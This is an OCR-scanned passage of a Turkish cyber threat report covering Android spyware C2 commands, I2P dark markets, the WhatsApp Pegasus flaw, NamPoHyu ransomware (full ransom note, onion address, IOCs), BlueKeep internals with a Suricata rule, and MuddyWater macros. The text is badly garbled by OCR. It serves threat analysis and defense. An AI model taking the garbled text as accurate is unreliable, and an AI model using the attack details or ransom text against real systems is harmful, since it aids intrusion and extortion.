4_E032067490682041387 apk fat ulated/0/Telegram/Telegram Documents,

0/ frcdreict irlata fong thuncdmrdog chall

nits.

Sekil 16: Tespit yollar.

Zararl yazihm, komut igleme ve veri kagirmak i¢in, ko-
muta ve kontrol sunucusu ile iletisim kurmak i¢in HTTP
protokolUnl kullanmaktadir.

sma_gesvice.this.se.callius

ice.thl - {v34,

sontinues

Lcw. this.getPackagesanages (1. getinatalledipplicazions

Commands from C2 server parsing

Sekil 17: C2 sunucusundan komutlar.

Zararll APK toplamda 16 farkli komut barindirmaktadir.
Komut detaylan Sekil 18’de gésterilmektedir.

Command Endpoint Deseription

1 regsmscal. php Send specified SM5 message

2 regsmscal php Call specified number

3 regamsecal php Exhitrate device info, such as phone madel and OS version
regsmscal.php Exhitrate a list of all installed applications

5 regsmzcal php Exhitrate default browser history (limited to a given date)

] reqsmscal php Exhitrate Chrome browser history (limited to a given data)
requrmscal php Exhitrate memory card file structure
requmscal php Record surrounding sound for 80 seconds

1 reqealllog php Exfiltrate all call logs

2 regealllog.php Exhitrate all M3 messages

3 regealllog. php Uplead specifed file frem the device Lo the €2

4 regealllog.php Dowmnload file from specified URL and save on device

5 regealllog. php Drelete specified file

678 regealllog. php Commands not yet implemented

3 regcalllog. php Take photo (muted audio) with rear camera, send to C2

10 reqealllag. php Take phato (muted audio) with front camera. send ta C2

Sekil 18: APK’nin uyguladigi komutlar.

Bu saldin kampanyasinin arkasinda kimin oldugunun
belli olmamasina ragmen, saldirganin iran ile iliskili olabi-
lecegine dair bir ipucu bulunmustur. Tespit edilen e-pos-
ta adresi tarafindan kaydedilen ¢c2 sunucusunun lokas-
yonu iran olarak gériilmektedir.
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Proximity Score

Emall

Registrar Status
IF Address

IP Location

ASN
Domaln Status

Whois History

Whols Server whols.nic.ir

Sekil 19: C2 sunucusunun whois kayitlari.

2.2, Tavsiyeler

Kullanicilar Google Play Store’dan ve U¢lnci taraf web
sitelerinden glivensiz uygulamalar indirmekten kaginma-
hdir. Ayrica, yazilimlar ve igletim sistemi glincellemeleri
zamaninda yapiimalidir.

Dark Web, World Wide Web’in 6zel yaziim ve yapilan-
dirma Uzerinden erisilebilen bélimU olarak tanimlana-
bilir. Anonimligin ve yasadisi haberlesme oraninin daha
ylksek oldugu ve sucg orgutlerinin faydalandigi bu plat-
formlar siber tehdit istihbarati calismalari icin énemli bir
kaynak olarak degerlendirilebilir. Bu kaynaklardan su ttr
temel bilgiler elde edilebilir:

Tehdit aktoérlerinin taktik, teknik ve prosedurlerinin
(TTP) erken tespiti,

istismar, zafiyet ve tehdit gdstergelerinin erken tespiti,
Saldirn motivasyonu tespiti,

Tehdit aktorlerinin kullandigi arag ve zararh yazilimla-
ra dair bilgilerin tespiti,

Pazarda satilan sifirinci giin istismarlarinin hedef aldi-
g1 platformlarin tespiti.

Dark Web hakkinda yapilan bircok arastirma agirlikl ola-
rak Tor agini kapsamakta ve 12P, Freenet gibi projele-
re yeterince deginmemektedir. Her ne kadar Tor agin-
dan istihbarat bilgisi elde edilebilse de mevcut istihbari
deger tasiyan bilginin I12P ve Freenet gibi projelerden
elde edilecek bilgilerle zenginlestiriimesi mumkanddr.
GunimUizde bu projelerin agirlikli olarak Tor agini kul-
lanmakta endise eden ve baglanti sorunlarindan yakinan
kullanicilar, ¢esitli gruplar ve istihbari bilgi arayan kulla-
nicilar tarafindan gerceklestiriimektedir.

3.1. 2I12P Aktiviteleri

Mayis ayinda Tor aginda hizmet veren yasa disi pazar
Libertas Market, kalici olarak I12P agina tasindi ve bdyle-
likle Tor agini terk ederek temelli olarak 12P agina gecen
ilk yasa digl pazar oldu.

Libertas Market, 12P agina tasinma sebebi olarak Tor
agindaki kusurlar sebebiyle hizmet engelleme (DOS)
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TOR 12P

Kucguk kullanici tabant,

daha az dikkat c¢ektigi igin
yasaklar ve DOS saldirilaryla
karsilasmayan platform

Cok daha buyik kullanici
tabani, dolayisiyla daha fazla
destege sahip

. Devre anahtarlama yerine
Yiksek fonlama

paket anahtarlama kullanimi
Koda gémdill dizin sunuculari
yerine degisken ‘floodfill
egleri’nin kullanimi

Daha fazla gelistirici sayisi

Gizli servisler icin tasarlanmis,
hizli gizli servis baglantilari

Cikis trafigi icin tasarlanmis,
yuksek ¢ikis digumii sayisi

Merkezi kontrol sayesinde Sybil
saldirilarina kargi daha yiksek
gobzetim

TCP ve UDP destegi

Tablo 3: TOR ve I12P karsilastirma.

Tor | 2P

cell message
circuit tunnel
directory NetDb

directory server floodfill router

exit node outproxy

hidden service Eepsite or destination

hidden service descriptor | lease set

introduction point inbound gateway

onion routing garlic routing

Sekil 20: TOR ve 12P terminoloji farklilaklari.

saldinlarini gerceklestirilebilmesini gosterdi ve polis tes-
kilatlarinin bir Tor web sitesinin ‘clearnet’ IP adresini tes-
pit edebildikleri bir zafiyetin oldugunu éne sundu. Ayrica
Tor aginin gizli servisler icin uygun olmadigini belirtti. 19
Haziran tarihinde ise Libertas Market, 12P’nin kullanim
azligindan dolayi servislerine ara verdigini duyurdu ve
web sitesinde bir mesaj yayimladi.

Libertas Market, Tor agini terk ederek I2P agina gegen
ilk yasa digi pazar olsa da, I2P aginda barinan tek yasa
disi pazar degil. Son zamanlarda artan hizmet engelle-
me (DOS) saldirilar ve polis teskilatlarinin Tor agina artan
dikkati sebebiyle bircok gizli servis https://www.securit-
yweek.com/i2ninja-malware-kit-using-i2p-anonymityi-
cisi 12P agina gegcmeyi talep ediyor. Tor aginda bulunan
bir Reddit klonu olan Dread adli web sitesinde bir¢cok
kullanicinin gesitli gizli servislere 12P veya Freenet gibi
aglara gegcmeyi talep ettigi gortlmektedirt™ .
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NOTICE

HOW TO ACCESS LIBERTAE MARKE TRPLACE UBING 12P

Dmcial Libenas Makolplace 12 a0dross

Sekil 21: Libertas Market’in Tor agindaki tasinma mesaji.
BEGIN PGP SIGNED ME
Hash: SHAZ5G

rketplace i

IT you
s0 via Bitm
BEGIN

TE
--END PGP SIGNATURE-----

Sekil 22: Libertas Market’in servislerine ara verme mesaji.

Your Wallet

Sekil 23: Silk Road Reloaded kullanici paneli.

Gegmisteki yasa digi I2P kullanimlarindan birine 6rnek
olarak Silk Road Reloaded verilebilir. 2013 yili sonunda
en blylk yasa digi Dark Web pazari olan Silk Road’un
kapatiimasindan sonra ¢ikan birgok yeni pazardan biri,
I2P’de agilan Silk Road Reloaded idi. I2P aginda bir yil-
dan uzun bir sure faaliyet gosteren Silk Road Reloaded,
2016 yilinda bilinmeyen bir sebepten dolayi faaliyetlerine
son verdi.
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Ayrica I12P agi gegmiste zararli yazihm aktiviteleri i¢cin de
kullaniimigtir. Bu konuda dikkate deger iki 6rnek verilebi-
lir; CryptoWall 3.0, Dyre ve i2Ninja.

2013 yilinda kesfedilen i2Ninja adl zararli yazilimin 2P
agini kullanan ilk yaygin zararli yazihm oldugu sdylene-
bilir. i2Ninja, kurbanlarin bilgisayarlar ile komuta kont-
rol sunucusu arasindaki iletisim i¢in 12P kullaniyordu ve
buylk poker web sitelerini hedef aliyordu. 2015 yilinda
ortaya ¢ikan CryptoWall 3.0 adl fidye yazilmi komuta
kontrol sunucular ile iletisim icin 12P agini kullaniyordu
ve boylelikle komuta kontrol sunucularinin kapatiimasini
oldukca zorlastiriyordu.

I2P’ye gecme talebinin artmasi yeni veya ilk kez gdrilen
bir durum degil. 2017 yazinda Tor aginda bulunan birgok
gizli servis ve yasa digi market polis teskilatlarinca ardi
ardina kapatildiktan sonra bazi kullanicilarin platform de-
gisikligine gidilmesi konusunda ¢agr yapmasina ragmen
bu etkisiz kalmisti. 2017 yazindaki platform degisikligi
hareketinin basarisiz kalmasinin sebebi olarak gizli ser-
vislerin bundan bir fayda saglamadigi ve I12P’nin adeta
bir hayalet kasaba olarak goéruldiga sdylenilebilir. Fakat
6nUmuizdeki glnlerde gizli servislerde bir gé¢ dalgasinin
yasanabilecegi ve I12P kullanan daha fazla zararli yazilim
ve yasa digl servise rastlanilabilecegi tahmin edilmekte-
dir. Glinkd Tor kullanicilarinin bir kismina gére su andaki
genel kani Tor aginin su¢ odakli gizli servisleri barindir-
mak icin yeterince givenli veya stabil olmadigi yoninde.

Bu kisimda, klresel capta ses getiren siber saldi-
r vakalarina ait detaylar sebep-sonu¢ cercevesinde
incelenmektedir.

Mayis ayinin ikinci haftasinda Whatsapp, hedeflenen te-
lefon numaralarinin Whatsapp sesli arama 6zelligi kulla-
nilarak, telefona zararl yazilim yliklenmesine neden olan
ciddi bir glivenlik acidi tespit etti. Zafiyetin, mobil casus
yazilim gelistirmesiyle bilinen Israilli NSO Grubu tarafin-
dan kesfedildigi ve satildigi belirtildi.

Guvenlik aciginin istismar edilerek, hedef Android ve
IOS cihazlara Pegasus casus yazilimi yikledigi ifade
edildi. Facebook tarafindan yayinlanan bir belgede za-
fiyetin, Whatsapp VOIP yigindaki arabellek asimindan
kaynaklandigi ve uzaktaki saldirganin &ézel hazirlanmig
SRTCP paketleri géndererek hedef telefonlarda rastgele
kod uretilmesine olanak sagladigi belirtildi.

CVE-2019-3568 olarak tanimlanan guvenlik agiginin, ara-
manin yanitlanmasina gerek kalmadan casus yazilimlari
yukleyebildigi ve hedeflenen telefondan verileri calabildigi
ifade edildi. Buna ek olarak, zararli yazilimin gelen arama
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bilgilerini arama ginligtinden sildigi ve bdylece kurbanla-
rin saldindan haberdar olmalarini engelledigi belirtildi.

Saldindan etkilenen kisi sayisi tam olarak bilinmemekle
birlikte, Whatsapp mihendisleri NSO Grup casus yazi-
minin belirli sayida kullaniciyr hedef aldigini dogruladi.
Toronto Universitesi'nde NSO Grubu’nun faaliyetlerini
arastiran Citizen Lab, zafiyetin ilk olarak ingiltere’de bir
insan haklari avukatina saldirmak amaciyla kullanildigini
dusinduklerini ifade etti. Pegasus casus yazilimi ile sal-
dirganlarin, kurbanin akilli telefonunda metin mesajlari,
e-postalar, Whatsapp mesajlari, iletisim bilgileri, konum
bilgisi, mikrofon ve kamera dahil olmak tzere ciddi mik-
tarda veriye erigebildikleri belirtildi.

Kétu amagl casus yazilimlar, daha énce Meksika’'dan
Birlesik Arap Emirlikleri’ne kadar birgok Uilkede insan hak-
lar eylemcilerine ve gazetecilere, Suudi Arabistan’daki
Uluslararasi Af Orgiitli calisanlarina ve gectigimiz yilin
baslarinda yurt diginda bulunan bir bagka Suudi insan
haklar savunucusuna karsi kullanilmisti. Uluslararasi Af
Orgiiti, NSO Grubu’na ait gdzetim teknolojisinin (surve-
illance technology) kétliye kullaniminin bildirildigi birden
fazla vaka icin NSO Grubu’nun sorumluluk almayi ya da
¢6zUm sunmayi reddettigini acikladi.

NSO Grubu tarafindan BBC’ye yapilan agiklamada ise
NSO teknolojisinin yalnizca sug¢ ve terdrle micadele
etmek amaciyla yetkili devlet kurumlarinca kullanildig
ifade edildi. NSO Grubu’nun herhangi bir kisiyi ya da ku-
rulusu hedef almak amaciyla bu teknolojiyi kullanmadigi
ve kullanmayacag belirtildi.

Gulvenlik aciginin, zafiyet icin yama yayinlanana kadar
Whatsapp kullanan 1,5 milyar insani etkiledigi belirtiliyor.
Facebook tarafindan yapilan aciklamada zafiyetin asagi-
daki siirimlerde mevcut oldugu belirtildi:

Android cihazlar igin;
- v2.19.134 stiriminden onceki tim strimler,

- WhatsApp Business igin v2.19.44 sitriUmuinden
onceki tim srimler,

IOS cihazlar igin;
- v2.19.51 slirimiinden dnceki tim strimler,

- WhatsApp Business igcin v2.19.51sitrimuinden
o6nceki tim surdmler

Windows cihazlar igin v2.18.348 strimuinden énceki
tim strdmler,

Tizen i¢in v2.18.15 slriminden 6nceki tim sirimler.

Whatsapp miUhendislerinin Mayis ayinin basinda gtiven-
lik acigini kesfettikleri ve sorunu Adalet Bakanligina bil-
dirdikleri ifade edilmektedir.

Uzmanlar hem 10S hem de Android kullanicilarini uygu-
lamalarini hemen en son yayimlanan sutriime gincelle-
meleri konusunda uyarmaktadir?.

SIBER TEHDIT DURUM RAPORU
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Fidye zararli yazilimlan (Ransomware) olarak da bilinen
Cryptovirus’lerin Uniinl ve verdigi zararlan bilgi gliven-
ligi alaninda calisan herkes bilir. Hatta siber givenlik
ardnlerinin yetersiz kaldigi veya zararlyi tespit edeme-
digi durumlarda bazi son kullanicilar Cryptovirus’lerden
de nasiplerini almiglardir. Zararl kategorilerinde, Truva
Atr'ndan (Trojan Horse) sonra en bilinen zararlilar arasi-
na girmigtir. Cryptovirusler sadece siradan kullanicilari
degil, okullar, hastaneleri, enerji sektériinii, bankalari,
kamu sektériind, kisaca her alani hedef almaktadir Bl
Saldirganin amaci zararh vasitasiyla kullanicinin dosya-
larini sifreleyerek onlara ulagsmasini engellemek ve sif-
relenmis dosyalarnn desifre edilmesi i¢in kurbanlardan
fidye talep etmektir. Son birka¢ yilda popdtlerlesmis ve
oldukca genis bir hedef kitlesi olan Cryptoviruslere de
bir yenisi daha eklenmisgtir.

NamPoHyu, Megalocker® zararlisinindan esinlene-
rek hazirlanmis bir Cryptovirustir. Hedefinde genellikle
Samba sunucular vardir. Ayrica MAC ve PC’ler de bu
zararldan etkilenebilir. Zararli genel olarak e-posta ile
kurbana atilir, bulagmasi i¢in kurbanin zararliya tiklamasi
yeterlidir. NamPoHyu zararlisi bulastiginda ilk yaptigi sey
Samba sunucusu aramaktir. Sunucuyu bulduktan sonra
brute force yontemini kullanarak sunucudan elde ettigi
kullanici bilgilerin sifrelerini kirmaya galigir. Basaril oldugu
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Sekil 24: NamPoHyu uzantili sifrelenmis dosya 6rnegi®.

takdirde kullanicinin dosyalarini 128 bitlik AES sifreleme
algoritmasi kullanarak sifreler ve fidye notu birakir®®.

Kurbanin dosyalan sifrelendikten sonra saldirgan kur-
bandan fidye talep etmektedir. Saldirgan, eger etkilenen
PC bireysel ise 250$ ve kiginin kendisini kanitlamasi
icin kisisel resimler, kurumsal ise 1000$ talep etmekte-
dir. Odemelerin BitCoin olarak yapilmasini istemektedir.
Fidye notuna BitCoin ile nasil 6deme yapilacagini anla-
tan bir link bile koymustur. Odemenin yapiimasi igin kul-
laniciyl TOR sayfasina yénlendirmektedir.

. {DECRYPTNSTRUCTION.TXT - Notepad?
File Edit View Settings 1
0 Gy | [ena|sas|lEaea o B

1what happened to your files 7

3
4 what does this mean 7

Eyou will not be able to work with them, read them or see them,
B

1o Your unigue Td: edserme gm0 s SRR e
11

1zwhat do I do 7

13 You <an buy decryption for 1000§5.

15
16 To do this:
17 1) pownload and 1nstall Tor srowser { hrrps://www.torprojecr. org/download/ )

aivi

2Al11 of your files were protected by a strong encryption with AES cbc-128 using NamPoHyu Virus.

s This means that the structure and data within your files have been irrevocably changed,
rit is rhe same thing as losing them forever, bur wirth our help, you can restore them.

9 The encryption key and 1o are unique To your computer, so you are guarantecd to be able o return your files.

14 But before you pay. you can make sure that we can really decrypt any of your files.

18 2) open the hrrp://qlcdibgmyvdkvzeh. onion/index. php?1ids- A
1

20 FAQ:

£1

22 How much time do I have to pay for decryption?

23 vou have 10 days to pay for the ransom after decrypting the test files.

78 MOW TO CONTACT you?

Z0We do NOT SUPPOrT any CoNTact.

30

siwhat are the guarantees that I can decrypt my files afrer paying the ransom?
32 Your main guarantee is the ability to decrypt test Files.

33 This means that we can decrypt all youwr Tiles after paying the ransom.

35

36 HOw do I pay the ransom?

25 pepending on your location, you can pay the ransom in different ways.
5 use Google to Find 1

#1Here are some links: https://buy.blockexplorer. com
2 hteps: /v, buybiteo inwor Tdwide. com

a3 https://localbiteoins. net

a4

45 How €an I decrypt my files¥

4¢ after confirmation of payment (it usually takes & hours, maximum 24 hours)

Ln7:60 Cal52 Sel0 206 KB AMNSI

payment by bank card

CReLF NS  Default Teat

we* weh page 1n the Tor drowser and follow the instructions.

il

24 The number of bitcoins for payment is fixed at the rate at the time of decryption of test files.
2z Keep in mind that some exchangers delay payment for 1-3 days! Also keep in mind that Bitcoin is a very wvolatile Currency,
26 its rate can be both stable and change wery quickly. Therefore, we recommend that you make payment within a few hours.

34 We have no reason to deceive you after receiving the ransoem, since we are not barbarians and moreover it will harm our business.

zr Afrer decrypting the test files, you will see the amount of payment in bitcoins and a bitcoin wallet for payment.

#0 nformarion on how to buy bitcoins in your country or use the help of more experienced friends.

Sekil 25: Fidye notu®.
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NamPoHyu zararlisi igin 10C (Indicators of Comprimise)
bilgileri asagidaki gibidir ©:

Fidye web sayfasi: http://qlcd3bgmyv4kvztb|.Jonion

E-Posta adresleri: alexshkipper[@]mail[.]Jru, alexsh-
kipper[@]firemail8][.]cc

Zararli, dosyalar sifreleyip onlara ulasilamaz hale getirse
de, Emsisoft firmasi sifrelenmis dosyalar kurtarmak icin
gerekli desifre programini Ucretsiz olarak yayinlamistirt®,

Peki, kullanicilarin NamPoHyu zararlisindan etkilenme-
mesi i¢in ne yapmalar gerekir? Genelde kurum ve ku-
ruluglarin bilgi gtivenligi kapsaminda kullandigi siber gu-
venlik cihazlar bu tir zararllar bulmaktadir. Fakat bilgi
glvenliginde ylzde 100 koruma gibi bir sey mimkin
olmadigi i¢in son kullanicilarin roli ¢gok 6nemlidir. Sik sik
bilgisayarlarinizi yedeklemek, anti virlis yazilimini gtincel
tutmak, gicli sifreler kullanmak ve en édnemlisi bilmedi-
giniz adreslerden gelen e-postalarin eklentilerini agma-
mak ve e-postada bulunan linklere tiklamamak gerekir.
Kurum ve kuruluslarin bilgi glvenligi kapsaminda vere-
cegi egitimler ile kullanicilarin farkindahgini artirmasi bu
gibi saldirilarin 6ntine gecilmesinde ¢ok énemlidir.

NSA araclarinin sizmasiyla birlikte MS17-010 zafiyet ve
kodlarini takiben ortaya ¢ikan WannaCry ve Petya zarar-
llar pek ¢ok kurumda hasara sebep olmustu. Bu fidyeci-
lik zararllarnnin etkilerinin gélgesinde, Microsoft gectigi-
miz aylarda CVE-2019-0708 koduna ve BlueKeep ismine
sahip bir guvenlik acidi icin yama c¢ikardigini duyurdu.
Bu analizde; glincel yama yayinlanmayan igletim sistemi
striimleri olan Windows XP ve Server 2003 Urlnleri igin
dahi yama yayinlanmasina sebep olan BlueKeep zafiye-
ti hakkindaki detaylarin yani sira, zararli yaziim yazilip
yazilamayacagini ve zafiyeti istismar eden istismar kodu
gelistirilmesinin nasil takip edilebilecegi ele alinmaktadir.

Bluekeep zafiyeti sayesinde saldirgan, kimlik dogrulama
yapmadan yetkisiz erisim ile RDP servislerine bagla-
narak uzak sunucularin kabuklarinda istedigi kod seg-
mentlerini, herhangi bir kullanici etkilesimine gereksinim
duymadan admin yetkisiyle calistirabilmektedir. Bu zafi-
yet sistemlere yayllarak atak sahasini ¢ok hizli genigle-
tebilmektedir. Zafiyet, CVE Uzerinde “CVE-2019-0708”
numaral ID ile yayinlanmstir.

Zafiyet, Windows’un yeni sUriimlerinde gérilmemesine
ragmen (Windows 8 ve 10), halen yaygin olarak kullani-
lan Windows 7 ve Windows 2008 R2’de etkisini gbster-
mistir. Microsoft, zafiyetin etki alaninin artmasinin éniine
gecmek amaciyla, gincelleme destedi vermeyi birak-
tigini agikladigr Windows XP ve Windows Server 2003
sistemlerine ydnelik olarak da giincelleme yayinlamis-
tir. Zafiyetin etki gosterdigi RDP protokoll Microsoft’un
Uygulama Paylagsma Protokoll uzantisidir.
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6.1. inceleme

14 Mayis tarihinde Microsoft tarafindan BlueKeep
adiyla duyurulan CVE-2019-0708 =zafiyeti; Windows
7, Windows Server 2008, Windows Server 2008 R2,
Windows XP ve Windows Server 2003 serisi isletim
sistemlerini etkilemektedir. CVE-2019-0708, ”"Remote
Desktop Services” hizmetinde uzaktan kod calistirma
zafiyeti olarak tanimlanmakta ve 9.8/10 risk skoruna
sahiptir. Kullanicinin giris yapmasina veya sistemle her-
hangi bir etkilesime gegmesine gerek kalmadan istismar
edilebilen BlueKeep zafiyetinin, bahsettigimiz nitelikle-
rinden 6tiri MS17-010 gibi etkileri olabilecegi degerlen-
dirilmektedir. Kritik altyapilar icin yaygin kullanilan igletim
sistemlerinden Windows 7 ve Windows 2008 R2 igletim
sistemlerinin BlueKeep zafiyetinden etkileniyor olmasi,
zafiyetin istismar kodunun gelistiriimesinin etkilerinin ne
kadar biylk olabilecegini géstermektedir. Hali hazirda
proof-of-concept (POC) kodlar gelistiriimeye baslanmis
olan BlueKeep zafiyetinin, 2019 yili icinde WannaCry ve
Petya gibi genis capl bir saldirya dénismesi kuvvetle
muhtemeldir.

6.2. Calisma Mekanizmasi

Microsoft Uzak Masausti Servisleri eski adiyla Terminal
Servisleri kullanicilara Windows sistemleri (izerinden
uzaktan oturum agmayi saglar. Bu sayede kullanicilar
uzak makinelerdeki verilere erigebilir, uygulama calisti-
rabilir ve bircok operasyonu yurUtebilir. Uzak masals-
th baglantisi, varsayilan ayarlarda uzak sunucu ile 3389
portu Uzerinden TCP ile saglanir. RDP baglanti baslatma
istegi basit olarak istemciden sunucuya “X.224 mesaj
paketi” yollanarak saglanir. Sunucu yine ayni mesaj for-
matinda baglantiyi kabul ettigine yonelik mesaj yollar ve
iki u¢ nokta arasinda sanal kanallar olusturulmaya bas-
lanir. Sekil26’da RDP baglantisi sirasinda istemci ve su-
nucu arasindaki mesaj etkilesimini(formati) gorebilirsiniz:

[Client]

[Client] <

[Transport may switch over to TLS at this point]
[Client] MCS Connect Initial and GCC Create [Server]
[Client] <--------MCS Connect Response and GCC Response---- [Server]
[Client] - ---MC5 Erect Domain Request [Server]
[Client] - -MCS Attach User Request- [Server]
[Client] -MCS Attach User Confirm [Server]
[Client] - -MCS Channel Join Reque [Server]
[Client] -MCS Channel Join Confi [Server]
[Client] - -Security Exchange ---- [Server]
[Client] - -Client Info -> [Server]
[Client] License Error---- [Server]
[Client] Demand Active---- [Server]
[Client] - -Confirm Active--- -> [Server]
[Client] - -Synchronize -> [Server]
[Client] - -Control - Cooperate -> [Server]
[Client] - -Control - Request Control -> [Server]
[Client] - -Persistent Key List [Server]
[Client] - -Font List [Server]
[Client] -Synchronize--- [Server]
[Client] -Control - Coope [Server]
[Client] <-- -Control - Granted Control [Server]
[Client] =< [Server]

[Server]
[Server]

Sekil 26: istemci ile sunucu arasindaki mesaj etkilesimi.
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Zafiyet “MCS Connect Initial and GCC Create” isteginde
meydana gelmektedir. Bu istek sanal kanallarin olustu-
rulmasi ve diger RDP istemci 6zelliklerinin bulundugu,
kisaca guvenlik bilgilerinin tutuldugu yerdir. Saldirgan,
Windows RDP Kernel sidricUsindeki “termdd.sys”
kaynak kodunda bulunan “lcaBindVirtualChannels()”
ve “IcaReBindVirtualChannels()” isimli iki fonksiyonun
zafiyetinden yararlanmaktadir. Bu iki fonksiyon da ayni
atak vektdrlerine maruz birakilarak maniple edilmistir.
“termdd!lcaBindVirtualChannels()” metodu ile acilan
“MS_T120” kanalina saldirgan hedef odakl saldin ve-
rilerini yerlestirerek “termdd.sys” dosyasinin hata me-
sajl yollamasini ve kanali kapatmasini saglamaktadir.
Bu islem sirasinda “ChannelPointerTable” Uzerinden
kullanicinin  kontroliindeki slotlardan birgogu temiz-
lenirken “Ox1F” adresindeki bilgiler silinmemektedir.
Saldirgan, bu pointer Uzerinde, “termdd!lcaChanne-
lInputinternal()” metodunu c¢agirarak serbest birakilan
“ChannelControlStructure” 6gesine yazmaya calisir.
Bu islemden sonra sistemi ele gecirip Admin (Kernel-
seviye) yetki ile bagimsiz kod caligtirabilmektedir. Ozet
olarak bu tir zafiyetler “wormable” olarak adlandirilir ve
bizzat kendisi zararll bir aktivite olusturmasa bile zararli
yazilimlar bu acikliktan faydalanilarak kolayca sistemlere
yerlestirilip calistinlabilir.

6.3. Korunma Yontemleri ve Tavsiyeler

ilk 6nlem olarak Microsoft, Uzak Masatisti Servislerinin
glincelleme yapilana kadar kapatilmasini tavsiye etmek-
tedir. Boylece kullanilmayan servisler yardimiyla atak
ylzeyini kiglltmek amaclanmaktadir. Bir baska gegici
¢6zUm ise TCP 3389 portunun glivenlik duvari (zerin-
den engellenmesidir.

(see https://wiki.wireshark.org/RDP).

'within' optimisations.

@3 @@ - TPKT header: version 3, reserved byte @
Must be at the beginning of the packet
@2 f@ - X.224 COTP: length 2, PDU type @x@f (DT_DATA)

@3 c@ - RDP Client Network Data
Skip the header length and channel count (& bytes)
M5_T12@ (C string) - Name of patched control channel

HHHH RN R

Must be within 372 bytes (31 channels * 12 bytes per channel)
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Microsoft’'un sundugu gegcici ¢é6zim ise, ele gegirilmis
sistemlerde Ag seviyesinde Kimlik Dogrulamanin (NLA)
aktiflestiriimesini dnermektedir. NLA, sunucu tarafinda
RDP ayarlarindan aktif edilebilen bir &zelliktir. Bu saye-
de ifsa edilmis sistemlerdeki zafiyetler lzerinden zarar-
Il yazihmlar tetiklenmeden 6nce NLA kimlik dogrulama
gergeklestirerek saldinnin éniine gegilir. Fakat bu yeter-
li bir ¢6zim degildir ¢linkl saldirgan gecerli bir kimlik
kullanarak basaril bir sekilde kimlik dogrulama gercek-
lestirebilir. O ylizden en saglikl ¢6zim glincellemelerin
zafiyetli isletim sistemi sUrimlerine yapilmasidir. Henlz
bu zafiyetten yararlanarak galisan yaygin bir exploit ol-
mamasina ragmen etki alaninin cok yliksek olmasi, olus-
turulacak bir exploit ile birgok sisteme hizlica yayiima
tehlikesini getirmektedir.

Ozetle, RDP servisini kullanmayan ve BlueKeep’in et-
kiledigi stirimdeki sistemlere sahip kullanicilarin, RDP
servisini kapatmalari énerilmektedir. RDP servisi kul-
lanim ihtiyacinin oldugu durumlarda ”https://github.
com/zerosumO0x0/CVE- 2019-0708” adresinde yer alan
metasploit moduli ile sistemlerin ilgili zafiyetten etki-
lenme durumu kontrol edilmelidir. BlueKeep ile alakali
aktif olarak gelistirilen istismar kodlarindan haberdar
olmak icin "https://twitter.com/BlueKeepTracker” botu
takip edilebilir. Ayrica, Microsoft’'un “https://support.
microsoft.com/en-us/help/4500705/customer-gui-
dance-for-cve-2019-0708” adresinde yayinladigi gin-
cellestirmenin, BlueKeep zafiyetinin etkiledigi tim
sistemlerde biran &nce yapilmasi kritik &nemdedir.
Servis denetimi ve glincelleme &nlemlerine ek olarak,
BlueKeep ile alakali yayinlanan ve Sekil 27°de aktari-
lan Suricata kuralinin sistemlerde kullaniimasi fayda
saglayacaktir.

Look for the potential signs of CVE-2819-8788, pre encryption.

Mote this rule is specific to port 3389, but could be expanded
using flowbits to other ports if an earlier packet is used for
protocol detection, or potentially a string detection on 'Duca’

Sensible wvalues for distances between objects have been chosen.
An exploit could potentially change the reserved byte (second
in the packet) or pad the TPKT structure with junk to avoid the

B8 85 @@ 14 7c @8 81 - T.124 Connect data, Generic Conference Control (ID @.8.29.124.8.1)
PDOU size ranges from 23@8-48@ bytes, 256 skipped in the rule

alert tcp any any -> any 3389 (msg:"NCC GROUP RDP connection setup with MS5_T128 channel,

potential CVE-2819-8783"; flow:to_server,established; contenh:"lBB @a|"; offset:®; depth:2;
content:" |82 Ffa|"; distance:2; within:2; content:"|28@ @5 @8 14 7c @2 @1|"; within:512;

content:" |83 c@|"; distance:3; within:384; content:"MS_T128|@@8|"; distance:&; within:372;

threshold: type limit, track by_src, count 2, seconds 88@; classtype:bad-unknown;
reference:url,portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-20819-8788; sid:1; rev:l;)

Sekil 27: Zafiyet icin yayinlanan Suricata kurali.
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Bu kisimda STM Siber Flizyon Merkezimizdeki analistle-
rin yaptigi farkl zararli yazilimlarnin davranis analizlerinin
sonuglari verilmektedir.

MuddyWater, 2017°den beri aktif olan bir APT grubu-
dur. Grup 6ncelikli hedef sectigi Ortadogu ve Orta Asya
bolgelerine, zararli ek dosyalar iceren spam e-postalar-
la saldinlar diizenlemektedir. Son zamanlarda Trkiye,
Pakistan ve Tacikistan’in hedef alindigi gértlmustar.

Raporda MuddyWater'in saldirilarda kullandidi, za-
rarh kod barindiran ve e-posta ek dosyasl olarak
gelen “Raport.doc”, “Gizli Raport.doc”, “maliyera-
porti (Gizli Bilgisi).doc” dosyalari incelenmistir. ilgili
dosyalar Uzerinde gerceklestirilen analizler neticesinde,
MuddyWater’in bagka saldin kampanyalarinda da kul-
landigi POWERSTATS powershell arka kapi yéntemine
basvurdugu tespit edilmistir.

Kullanilan teknigin énceki saldin kampanyalarinin aksi-
ne, komuta kontrol sunucusu (C&C) iletisiminin ve veri
sizdirma iglemlerinin bulut dosya saglayicilarinin API’leri
kullanilarak gerceklestirildigi tespit edilmistir.  Saldir
asamasinda spam e-postalariyla ek dosya olarak gelen
ve zararl kod barindiran ofis dosyasina ait gortinti Sekil
28’de aktariimigtir.

This Decument has been made in an ok version of Microsaft Word
In order to display this documenst you will have to click on
"Enable Editing” and click on "Enable Content”

From the yellow bar above

Sekil 28: Spam e-postalari ile gelen zararli ofis dosyasi.

This Document has been made in an old version of Microsoft Word

In order to display this [m—m— shave to click on

Content”

“enable Editing” SN

nable be laad Stybe.aml

Fromt

o

Sekil 29: Sahte hata mesaji.

20
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Zararl dosya c¢alistinldiginda kullanicinin karsisina sahte
hata mesaiji cikarilmaktadir. Saldirganlar bu yéntemle kul-
lanici tarafindan stiphe gekmemeyi hedeflemektedirler.

E-posta eki olarak gelen ofis dosyasindaki makro kodlar
incelendiginde, zararli makro kodunda birden fazla obje
dosyasi oldugu goériimektedir.

atachocoLataysk
snpleconpreaces

“ApphatasLocalxTempsDoconprossods0F F ice)

B} Bytes
I Format document destected

Sekil 30: Zararli obje dosyalari.

ilgili zararli calismaya basladigi andan itibaren asagidaki
adimlar gerceklestirmektedir.

Sekil 31: Zararlinin galisma adimlari.

Zararliya ait makro kodlari incelendiginde, kodlarin en-
coding isleminden gegirildigi gérilmustar.

Zararl kod parcasina ait encoding yontemi incelendigin-
de, ilgili kodun asagidaki Sekilde yer alan fonksiyon ile
decode edildigi ve encoding isleminde Base52 algorit-
